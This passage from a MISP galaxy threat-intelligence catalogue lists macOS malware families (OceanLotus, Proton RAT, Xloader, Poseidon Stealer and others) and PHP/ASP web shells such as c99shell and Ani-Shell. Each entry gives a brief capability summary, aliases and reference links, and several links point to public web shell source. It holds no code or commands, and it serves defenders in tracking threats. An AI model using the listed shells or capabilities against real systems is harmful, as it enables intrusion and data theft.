https://malpedia.caad.fkie.fraunhofer.de/details/osx.netwire
https://www.intego.com/mac-security-blog/fbi-shuts-down-11-year-old-netwire-rat-malware/

OceanLotus

According to PcRisk, Research shows that the OceanLotus 'backdoor' targets MacOS computers. Cyber criminals behind this backdoor have already used this malware to attack human rights and media organizations, some research institutes, and maritime construction companies.

The OceanLotus backdoor is distributed via a fake Adobe Flash Player installer and a malicious

Word document (it is likely that threat authors distribute the document via malspam emails).

The tag is: *misp-galaxy:malpedia="OceanLotus"*

OceanLotus is also known as:

Table 2891. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.oceanlotus
https://cocomelonc.github.io/malware/2025/01/19/malware-tricks-44.html
https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html
https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries
https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
https://researchcenter.paloaltonetworks.com/2017/06/unit42-new-improved-macos-backdoor-oceanlotus/
https://bluecyber.hashnode.dev/apt32-malware-an-in-depth-analysis
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
https://about.fb.com/news/2020/12/taking-action-against-hackers-in-bangladesh-and-vietnam/
https://labs.sentinelone.com/apt32-multi-stage-macos-trojan-innovates-on-crimeware-scripting-technique/
https://github.com/AmnestyTech/investigations/tree/master/2021-02-24_vietnam
https://tradahacking.vn/%C4%91%E1%BB%A3t-r%E1%BB%93i-t%C3%B4i-c%C3%B3-%C4%91%C4%83ng-m%E1%BB%99t-status-xin-d%E1%BA%A1o-tr%C3%AAn-fb-may-qu%C3%A1-c%C5%A9ng-c%C3%B3-v%C3%A0i-b%E1%BA%A1n-nhi%E1%BB%87t-t%C3%ACnh-g%E1%BB%ADi-cho-537b19ee3468
https://cocomelonc.github.io/malware/2025/02/24/malware-tricks-45.html
https://brandefense.io/blog/apt-groups/ocean-lotus-apt-group/
https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/
https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/

Odyssey Stealer

The tag is: *misp-galaxy:malpedia="Odyssey Stealer"*

Odyssey Stealer is also known as:

Table 2892. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/osx.odyssey_stealer
https://www.cyfirma.com/research/odyssey-stealer-the-rebrand-of-poseidon-stealer/
https://redcanary.com/blog/threat-intelligence/atomic-odyssey-poseidon-stealers/

Olyx

The tag is: *misp-galaxy:malpedia="Olyx"*

Olyx is also known as:

Table 2893. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.olyx
http://contagiodump.blogspot.com/2011/07/jul-25-mac-olyx-gh0st-backdoor-in-rar.html
https://news.drweb.com/show/?i=1750&lng=en&c=14

oRAT

SentinelOne describes this as a malware written in Go, mixing own custom code with code from public repositories.

The tag is: *misp-galaxy:malpedia="oRAT"*

oRAT is also known as:

Table 2894. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.orat
https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf
https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf
https://www.sentinelone.com/blog/from-the-front-lines-unsigned-macos-orat-malware-gambles-for-the-win/
https://documents.trendmicro.com/assets/txt/earth-berberoka-macos-iocs-2.txt

OSAMiner

The tag is: *misp-galaxy:malpedia="OSAMiner"*

OSAMiner is also known as:

Table 2895. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/osx.osaminer
https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/

Patcher

This crypto-ransomware for macOS was caught spreading via BitTorrent distribution sites in February 2017, masquerading as 'Patcher', an application used for pirating popular software like Adobe Premiere Pro or Microsoft Office for Mac.

The downloaded torrent contained an application bundle in the form of a single zip file. After launching the fake application, the main window of the fake cracking tool was displayed.

The file encryption process was launched after the misguided victim clicked 'Start'. Once executed, the ransomware generated a random 25-character string and set it as the key for RC4 encryption of all of the user's files. It then demanded ransom in Bitcoin, as instructed in the 'README!' .txt file copied all over the user's directories.

Despite the instructions being quite thorough, Patcher lacked the functionality to communicate with any C&C server, and therefore made it impossible for its operators to decrypt affected files. The randomly generated encryption key was also too long to be guessed via a brute-force attack, leaving the encrypted data unrecoverable in a reasonable amount of time.

The tag is: *misp-galaxy:malpedia="Patcher"*

Patcher is also known as:

- FileCoder
- Findzip

Table 2896. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.patcher
http://www.welivesecurity.com/2017/02/22/new-crypto-ransomware-hits-macos/

Pearl Stealer

The tag is: *misp-galaxy:malpedia="Pearl Stealer"*

Pearl Stealer is also known as:

Table 2897. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.pearl_stealer
https://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html

PintSized

Backdoor as a fork of OpenSSH_6.0 with no logging, and “-P” and “-z” hidden command arguments. “PuffySSH_5.8p1” string.

The tag is: *misp-galaxy:malpedia="PintSized"*

PintSized is also known as:

Table 2898. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.pintsized
https://eromang.zataz.com/2013/03/24/osx-pintsized-backdoor-additional-details/

Pirrit

The tag is: *misp-galaxy:malpedia="Pirrit"*

Pirrit is also known as:

Table 2899. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.pirrit
http://www.zdnet.com/article/maker-of-sneaky-mac-adware-sends-security-researcher-cease-and-desist-letter/
https://forensicitguy.github.io/analyzing-pirrit-adware-installer/
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf
https://www.cybereason.com/hubfs/Content%20PDFs/OSX.Pirrit%20Part%20III%20The%20DaVinci%20Code.pdf

POOLRAT

The tag is: *misp-galaxy:malpedia="POOLRAT"*

POOLRAT is also known as:

- SIMPLESEA
- SIMPLETEA

Table 2900. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.poolrat

https://www.3cx.com/blog/news/mandiant-security-update2/
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e
https://www.welivesecurity.com/2023/04/20/linux-malware-strengthens-links-lazarus-3cx-supply-chain-attack
https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-north-korea-indictment
https://www.virusbulletin.com/uploads/pdf/conference/vb2023/papers/Lazarus-campaigns-and-backdoors-in-2022-2023.pdf

Poseidon (OS X)

Part of Mythic C2, written in Golang.

The tag is: *misp-galaxy:malpedia="Poseidon (OS X)"*

Poseidon (OS X) is also known as:

Table 2901. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.poseidon
https://github.com/MythicAgents/poseidon

Poseidon Stealer

macOS infostealer sold by an individual named Rodrigo4, currently consisting of a disk image containing a Mach-O without app bundle, which when executed spawns osascript executing an AppleScript with the actual infostealer payload. The AppleScript payload will steal files by packing them in a ZIP archive and uploading them to a hardcoded C2 via HTTP.

The tag is: *misp-galaxy:malpedia="Poseidon Stealer"*

Poseidon Stealer is also known as:

- Rodrigo Stealer

Table 2902. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.poseidonstealer
https://github.com/govcert-ch/CTI/tree/main/20240627_macOS_PoseidonStealer
https://redcanary.com/blog/threat-intelligence/atomic-odyssey-poseidon-stealers/
https://www.ncsc.admin.ch/ncsc/en/home/aktuell/im-fokus/2024/poseidon_bericht.html

https://www.malwarebytes.com/blog/news/2024/06/poseidon-mac-stealer-distributed-via-google-ads

Proton RAT

Proton RAT is a Remote Access Trojan (RAT) specifically designed for macOS systems. It is known for providing attackers with complete remote control over the infected system, allowing the execution of commands, keystroke capturing, access to the camera and microphone, and the ability to steal credentials stored in browsers and other password managers. This malware typically spreads through malicious or modified applications, which, when downloaded and installed by unsuspecting users, trigger its payload. Proton RAT is notorious for its sophistication and evasion capabilities, including techniques to bypass detection by installed security solutions.

The tag is: *misp-galaxy:malpedia="Proton RAT"*

Proton RAT is also known as:

- Calisto

Table 2903. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.proton_rat
https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/
https://www.cybersixgill.com/wp-content/uploads/2017/02/02072017%20-%20Proton%20-%20A%20New%20MAC%20OS%20RAT%20-%20Sixgill%20Threat%20Report.pdf
https://securelist.com/calisto-trojan-for-macos/86543/
https://objective-see.com/blog/blog_0x1F.html
https://www.cybereason.com/labs-blog/labs-proton-b-what-this-mac-malware-actually-does
https://threatpost.com/handbrake-for-mac-compromised-with-proton-spyware/125518/
https://objective-see.com/blog/blog_0x1D.html
https://blog.malwarebytes.com/threat-analysis/mac-threat-analysis/2017/11/osx-proton-spreading-through-fake-symantec-blog/
https://www.hackread.com/hackers-selling-undetectable-proton-mac-malware/

Pureland

According to SentinelOne, this is an infostealer, targeting among other things the encrypted database of Zoom.

The tag is: *misp-galaxy:malpedia="Pureland"*

Pureland is also known as:

Table 2904. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.pureland
https://www.sentinelone.com/blog/session-cookies-keychains-ssh-keys-and-more-7-kinds-of-data-malware-steals-from-macos-users/

Pwnet

Cryptocurrency miner that was distributed masquerading as a Counter-Strike: Global Offensive hack.

The tag is: *misp-galaxy:malpedia="Pwnet"*

Pwnet is also known as:

Table 2905. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.pwnet
https://sentinelone.com/blog/osx-pwnet-a-csgo-hack-and-sneaky-miner/

Dok

Dok a.k.a. Retefe is the macOS version of the banking trojan Retefe. It consists of a codesigned Mach-O dropper usually malspammed in an app bundle within a DMG disk image, posing as a document. The primary purpose of the dropper is to install a Tor client as well as a malicious CA certificate and proxy pac URL, in order to redirect traffic to targeted sites through their Tor node, effectively carrying out a MITM attack against selected web traffic. It also installs a custom hosts file to prevent access to Apple and VirusTotal. The macOS version shares its MO, many TTPs and infrastructure with the Windows counterpart.

The tag is: *misp-galaxy:malpedia="Dok"*

Dok is also known as:

- Retefe

Table 2906. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.retefe
https://www.govcert.admin.ch/blog/33/the-retefe-saga
http://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/
https://www.proofpoint.com/us/threat-insight/post/2019-return-retefe
https://blog.checkpoint.com/2017/07/13/osxdok-refuses-go-away-money/

RustBucket (OS X)

The tag is: *misp-galaxy:malpedia="RustBucket (OS X)"*

RustBucket (OS X) is also known as:

Table 2907. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.rustbucket
https://sansorg.egnyte.com/dl/3P3HxFiNgL
https://www.jamf.com/blog/bluenoroff-apt-targets-macos-rustbucket-malware/
https://www.elastic.co/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket
https://www.sentinelone.com/blog/dprk-crypto-theft-macos-rustbucket-droppers-pivot-to-deliver-kandykorn-payloads/
https://securelist.com/bluenoroff-new-macos-malware/111290/
https://blogs.jpcert.or.jp/ja/2023/05/dangerouspassword.html
https://www.sentinelone.com/blog/bluenoroff-how-dprks-macos-rustbucket-seeks-to-evade-analysis-and-detection/

Shlayer

According to PCrisk, Shlayer is a trojan-type virus designed to proliferate various adware and other unwanted applications, and promote fake search engines. It is typically disguised as a Adobe Flash Player installer and various software cracking tools.

In most cases, users encounter this virus when visiting dubious Torrent websites that are full of intrusive advertisements and deceptive downloads.

The tag is: *misp-galaxy:malpedia="Shlayer"*

Shlayer is also known as:

Table 2908. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.shlayer
https://securelist.com/shlayer-for-macos/95724/
https://cedowens.medium.com/macos-gatekeeper-bypass-2021-edition-5256a2955508
https://www.cisecurity.org/insights/blog/top-10-malware-march-2022
https://objective-see.com/blog/blog_0x64.html
https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities

https://www.crowdstrike.com/blog/shlayer-malvertising-campaigns-still-using-flash-update-disguise/
https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/
https://us-cert.cisa.gov/ncas/alerts/aa20-345a
https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf
https://threatpost.com/shlayer-mac-youtube-wikipedia/152146/

Silver Sparrow

According to Red Canary, Silver Sparrow is an activity cluster that includes a binary compiled to run on Apple's new M1 chips but has been distributed without payload so far.

The tag is: *misp-galaxy:malpedia="Silver Sparrow"*

Silver Sparrow is also known as:

Table 2909. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.silver_sparrow
https://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis
https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf

SimpleTea (OS X)

SimpleTea is a RAT for macOS that is based on the same object-oriented project as SimpleTea for Linux (SimplexTea).

It also shares similarities with POOLRAT (also known as SIMPLESEA), like the supported commands or a single-byte XOR encryption of its configuration. However, the indices of commands are different.

SimpleTea for macOS was uploaded to VirusTotal from Hong Kong and China in September 2023.

The tag is: *misp-galaxy:malpedia="SimpleTea (OS X)"*

SimpleTea (OS X) is also known as:

Table 2910. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.simpletea
https://web-assets.esetstatic.com/wls/en/papers/threat-reports/eset-apt-activity-report-q2-2023-q3-2023.pdf

https://mp.weixin.qq.com/s?biz=MzUyMjk4NzExMA%3D%3D&mid=2247499462&idx=1&sn=7cc55f3cc2740e8818648efbec21615f

SpectralBlur (OS X)

The tag is: *misp-galaxy:malpedia="SpectralBlur (OS X)"*

SpectralBlur (OS X) is also known as:

Table 2911. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.spectral_blur
https://twitter.com/greglesnewich/status/1742575613834084684

SUGARLOADER

The tag is: *misp-galaxy:malpedia="SUGARLOADER"*

SUGARLOADER is also known as:

Table 2912. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.sugarloader
https://www.sentinelone.com/blog/dprk-crypto-theft-macos-rustbucket-droppers-pivot-to-deliver-kandykorn-payloads/
https://www.elastic.co/security-labs/elastic-catches-dprk-passing-out-kandykorn
https://www.virusbulletin.com/uploads/pdf/conference/vb2024/papers/Sugarcoating-KANDYKORN-a-sweet-dive-into-a-sophisticated-MacOS-backdoor.pdf

SysJoker (OS X)

The tag is: *misp-galaxy:malpedia="SysJoker (OS X)"*

SysJoker (OS X) is also known as:

Table 2913. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.sysjoker
https://www.sentinelone.com/blog/sneaky-spies-and-backdoor-rats-sysjoker-and-dazzlespy-malware-target-macos/

https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/
https://blogs.vmware.com/security/2022/03/%e2%80%afsysjoker-an-analysis-of-a-multi-os-rat.html
https://www.bleepingcomputer.com/news/security/new-sysjoker-backdoor-targets-windows-macos-and-linux/

systemd

General purpose backdoor

The tag is: *misp-galaxy:malpedia="systemd"*

systemd is also known as:

- Demsty
- ReverseWindow

Table 2914. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.systemd
https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_301_shui-leon_en.pdf
https://vms.drweb.com/virus/?_is=1&i=15299312&lng=en
https://securelist.com/windealer-dealing-on-the-side/105946/

Tsunami (OS X)

The tag is: *misp-galaxy:malpedia="Tsunami (OS X)"*

Tsunami (OS X) is also known as:

Table 2915. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.tsunami
https://www.intego.com/mac-security-blog/tsunami-backdoor-can-be-used-for-denial-of-service-attacks

Unidentified macOS 001 (UnionCryptoTrader)

The tag is: *misp-galaxy:malpedia="Unidentified macOS 001 (UnionCryptoTrader)"*

Unidentified macOS 001 (UnionCryptoTrader) is also known as:

Table 2916. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/osx.unidentified_001
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-north-korea-indictment
https://objective-see.com/blog/blog_0x51.html
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048c
https://securelist.com/operation-applejeus-sequel/95596/

UpdateAgent

The tag is: *misp-galaxy:malpedia="UpdateAgent"*

UpdateAgent is also known as:

Table 2917. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.update_agent
https://www.esentire.com/blog/updateagent-macos-malware
https://www.jamf.com/blog/updateagent-adapts-again/
https://www.microsoft.com/security/blog/2022/02/02/the-evolution-of-a-mac-trojan-updateagents-progression/
https://twitter.com/sysopfb/status/1532442456343691273

Uroburos (OS X)

The tag is: *misp-galaxy:malpedia="Uroburos (OS X)"*

Uroburos (OS X) is also known as:

Table 2918. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.uroburos
https://blog.fox-it.com/2017/05/03/snake-coming-soon-in-mac-os-x-flavour/
https://blog.malwarebytes.com/threat-analysis/2017/05/snake-malware-ported-windows-mac/

Vigram

The tag is: *misp-galaxy:malpedia="Vigram"*

Vigram is also known as:

- WizardUpdate

Table 2919. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.vigram
https://twitter.com/MsftSecIntel/status/1451279679059488773
https://twitter.com/ConfiantIntel/status/1351559054565535745
https://www.sentinelone.com/labs/the-art-and-science-of-macos-malware-hunting-with-radare2-leveraging-xrefs-yara-and-zignatures/

WatchCat

The tag is: *misp-galaxy:malpedia="WatchCat"*

WatchCat is also known as:

Table 2920. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.watchcat
https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/
https://objective-see.com/blog/blog_0x5F.html

WindTail

The tag is: *misp-galaxy:malpedia="WindTail"*

WindTail is also known as:

Table 2921. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.windtail
https://gsec.hitb.org/materials/sg2018/D1%20COMMSEC%20-%20In%20the%20Trails%20of%20WINDSHIFT%20APT%20-%20Taha%20Karim.pdf
https://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/
https://objective-see.com/blog/blog_0x3D.html
https://posts.specterops.io/introducing-venator-a-macos-tool-for-proactive-detection-34055a017e56
https://www.forbes.com/sites/thomasbrewster/2018/08/30/apple-mac-loophole-breached-in-middle-east-hacks/
https://objective-see.com/blog/blog_0x3B.html
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf

Winnti (OS X)

The tag is: *misp-galaxy:malpedia="Winnti (OS X)"*

Winnti (OS X) is also known as:

Table 2922. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.winnti
https://401trg.pw/winnti-evolution-going-open-source/

WireLurker (OS X)

The tag is: *misp-galaxy:malpedia="WireLurker (OS X)"*

WireLurker (OS X) is also known as:

Table 2923. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.wirelurker
https://objective-see.com/blog/blog_0x16.html
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf

Wirenet (OS X)

The tag is: *misp-galaxy:malpedia="Wirenet (OS X)"*

Wirenet (OS X) is also known as:

Table 2924. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.wirenet
https://news.drweb.com/show/?i=2679&lng=en&c=14
https://objective-see.com/blog/blog_0x43.html
http://contagiodump.blogspot.com/2012/12/aug-2012-backdoorwirenet-osx-and-linux.html

X-Agent (OS X)

The tag is: *misp-galaxy:malpedia="X-Agent (OS X)"*

X-Agent (OS X) is also known as:

Table 2925. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.xagent
https://www.secureworks.com/research/threat-profiles/iron-twilight
https://twitter.com/PhysicalDrive0/status/845009226388918273
https://download.bitdefender.com/resources/files/News/CaseStudies/study/143/Bitdefender-Whitepaper-APT-Mac-A4-en-EN-web.pdf
http://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/

XCSSET

The tag is: *misp-galaxy:malpedia="XCSSET"*

XCSSET is also known as:

Table 2926. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset
https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/
https://blog.trendmicro.com/trendlabs-security-intelligence/xcsset-mac-malware-infects-xcode-projects-performs-uxss-attack-on-safari-other-browsers-leverages-zero-day-exploits/
https://objective-see.com/blog/blog_0x5F.html
https://securelist.com/malware-for-the-new-apple-silicon-platform/101137/
https://www.trendmicro.com/en_us/research/21/d/xcsset-quickly-adapts-to-macos-11-and-m1-based-macs.html
https://www.trendmicro.com/en_us/research/21/g/updated-xcsset-malware-targets-telegram—other-apps.html
https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities
https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf

Xloader

Xloader is a Rebranding of Formbook malware (mainly a stealer), available for macOS as well.

Formbook has a "magic"-value FBNG (FormBook-NG), while Xloader has a "magic"-value XLNG (XLoader-NG). This "magic"-value XLNG is platform-independent.

Not to be confused with apk.xloader or ios.xloader.

The tag is: *misp-galaxy:malpedia="Xloader"*

Xloader is also known as:

- Formbook

Table 2927. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.xloader
https://medium.com/@shaddy43/layers-of-deception-analyzing-the-complex-stages-of-xloader-4-3-malware-evolution-2dcb550b98d9
https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya
https://twitter.com/krabsonsecurity/status/1319463908952969216
https://www.sentinelone.com/blog/detecting-xloader-a-macos-malware-as-a-service-info-stealer-and-keylogger/
https://www.sentinelone.com/blog/xloaders-latest-trick-new-macos-variant-disguised-as-signed-officenote-app/
https://www.zscaler.com/blogs/security-research/technical-analysis-xloader-versions-6-and-7-part-2
https://www.zscaler.com/blogs/security-research/analysis-xloaders-c2-network-encryption
https://research.checkpoint.com/2022/xloader-botnet-find-me-if-you-can/
https://blogs.blackberry.com/en/2021/09/threat-thursday-xloader-infostealer
https://malwarebookreports.com/cross-platform-java-dropper-snake-and-xloader-mac-version/
https://www.vmray.com/cyber-security-blog/malware-analysis-spotlight-xbinder-xloader/
https://research.checkpoint.com/2021/top-prevalent-malware-with-a-thousand-campaigns-migrates-to-macos/
https://blog.malwarebytes.com/mac/2021/07/osx-xloader-hides-little-except-its-main-purpose-what-we-learned-in-the-installation-process/
https://sublime.security/blog/xloader-deep-dive-link-based-malware-delivery-via-sharepoint-impersonation/
https://www.lac.co.jp/lacwatch/report/20220307_002893.html
https://research.checkpoint.com/2021/time-proven-tricks-in-a-new-environment-the-macos-evolution-of-formbook/
https://www.zscaler.com/blogs/security-research/technical-analysis-xloader-versions-6-and-7-part-1

XSLCmd

The tag is: *misp-galaxy:malpedia="XSLCmd"*

XSLCmd is also known as:

Table 2928. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.xslcmd
https://objective-see.com/blog/blog_0x16.html
https://www.fireeye.com/blog/threat-research/2014/09/forced-to-adapt-xslcmd-backdoor-now-on-os-x.html

Yort

The tag is: *misp-galaxy:malpedia="Yort"*

Yort is also known as:

Table 2929. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.yort
https://securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus/90019/
https://objective-see.com/blog/blog_0x53.html

ZuRu

A malware that was observed being embedded alongside legitimate applications (such as iTerm2) offered for download on suspicious websites pushed in search engines. It uses a Python script to perform reconnaissance on the compromised system an pulls additional payload(s).

The tag is: *misp-galaxy:malpedia="ZuRu"*

ZuRu is also known as:

Table 2930. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.zuru
https://www.trendmicro.com/en_us/research/21/i/mac-users-targeted-by-trojanized-iterm2-app.html
https://objective-see.com/blog/blog_0x66.html

Ani-Shell

Ani-Shell is a simple PHP shell with some unique features like Mass Mailer, a simple Web-Server Fuzzer, Dosser, Back Connect, Bind Shell, Back Connect, Auto Rooter etc.

The tag is: *misp-galaxy:malpedia="Ani-Shell"*

Ani-Shell is also known as:

- anishell

Table 2931. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.anishell
http://ani-shell.sourceforge.net/
https://github.com/tennc/webshell/tree/master/php/Ani-Shell

ANTAK

Antak is a webshell written in ASP.Net which utilizes PowerShell.

The tag is: *misp-galaxy:malpedia="ANTAK"*

ANTAK is also known as:

Table 2932. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.antak
https://github.com/samratashok/nishang/blob/master/Antak-WebShell/antak.aspx
http://www.labofapenetrationtester.com/2014/06/introducing-antak.html
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf

ASPXSpy

ASPXSpy is an open-source web shell written in C# that allows a threat actor to accomplish various post-exploitation tasks, including file access and command execution.

The tag is: *misp-galaxy:malpedia="ASPXSpy"*

ASPXSpy is also known as:

Table 2933. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.aspxspy
https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/
https://attack.mitre.org/groups/G0096
https://go.recordedfuture.com/hubfs/reports/mtp-2021-1214.pdf
https://asec.ahnlab.com/en/47455/

https://www.recordedfuture.com/full-spectrum-detections-five-popular-web-shells

Behinder

A webshell for multiple web languages (asp/aspx, jsp/jspx, php), openly distributed through Github.

The tag is: *misp-galaxy:malpedia="Behinder"*

Behinder is also known as:

Table 2934. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.behinder
https://github.com/hktalent/MyDocs/blob/main/BehinderShell.md
https://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/
https://www.elastic.co/security-labs/ref2924-howto-maintain-persistence-as-an-advanced-threat
https://blog.gigamon.com/2022/09/28/investigating-web-shells/
https://cyberandramen.net/2022/02/18/a-tale-of-two-shells/

c99shell

C99shell is a PHP backdoor that provides a lot of functionality, for example:

- run shell commands;
- download/upload files from and to the server (FTP functionality);
- full access to all files on the hard disk;
- self-delete functionality.

The tag is: *misp-galaxy:malpedia="c99shell"*

c99shell is also known as:

- c99

Table 2935. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.c99
https://bartblaze.blogspot.com/2015/03/c99shell-not-dead.html

DEWMODE

FireEye discovered the DEWMODE webshell starting mid-December 2020 after exploitation of zero-day vulnerabilities in Accellion's File Transfer Appliance. It is a PHP webshell that allows threat

actors to view and download files in the victim machine. It also contains cleanup function to remove itself and clean the Apache log.

The tag is: *misp-galaxy:malpedia="DEWMODE"*

DEWMODE is also known as:

Table 2936. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.dewmode
https://go.recordedfuture.com/hubfs/reports/mtp-2021-0312.pdf
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-055a
https://www.accellion.com/sites/default/files/trust-center/accellion-fta-attack-mandiant-report-full.pdf
https://www.fireeye.com/blog/threat-research/2021/02/accellion-fta-exploited-for-data-theft-and-extortion.html

DollyWay

PHP/JavaScript malware for WordPress that injects multi-stage scripts, turning compromised sites into distributed TDS/C2 nodes. Delivers signed payloads, maintains persistence via helper files, and redirects traffic to monetized scam networks.

The tag is: *misp-galaxy:malpedia="DollyWay"*

DollyWay is also known as:

Table 2937. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.dollyway
https://www.godaddy.com/resources/news/dollyway-malware-c2-tds
https://www.godaddy.com/resources/news/dollyway-world-domination
https://blogs.infoblox.com/threat-intelligence/vexing-and-vicious-the-eerie-relationship-between-wordpress-hackers-and-an-adtech-cabal/

Ensikology

The tag is: *misp-galaxy:malpedia="Ensikology"*

Ensikology is also known as:

- Ensiko

Table 2938. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.ensikology
https://blog.trendmicro.com/trendlabs-security-intelligence/ensiko-a-webshell-with-ransomware-capabilities/

Glutton

According to Xlab, Glutton is a modular PHP fileless attack framework, capable of data exfiltration and running backdoors.

The tag is: *misp-galaxy:malpedia="Glutton"*

Glutton is also known as:

Table 2939. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.glutton
https://blog.xlab.qianxin.com/glutton_stealthily_targets_mainstream_php_frameworks-en/

p0wnyshell

The tag is: *misp-galaxy:malpedia="p0wnyshell"*

p0wnyshell is also known as:

- Ponyshell
- Pownyshell

Table 2940. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.p0wnyshell
https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/

Parrot TDS WebShell

In combination with Parrot TDS the usage of a classical web shell was observed by DECODED Avast.io.

The tag is: *misp-galaxy:malpedia="Parrot TDS WebShell"*

Parrot TDS WebShell is also known as:

Table 2941. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.parrot_tds_shell
https://unit42.paloaltonetworks.com/parrot-tds-javascript-evolution-analysis/
https://www.silentpush.com/blog/socgholish/
https://decoded.avast.io/janrubin/parrot-tds-takes-over-web-servers-and-threatens-millions/

PAS

The tag is: *misp-galaxy:malpedia="PAS"*

PAS is also known as:

Table 2942. Table References

Links
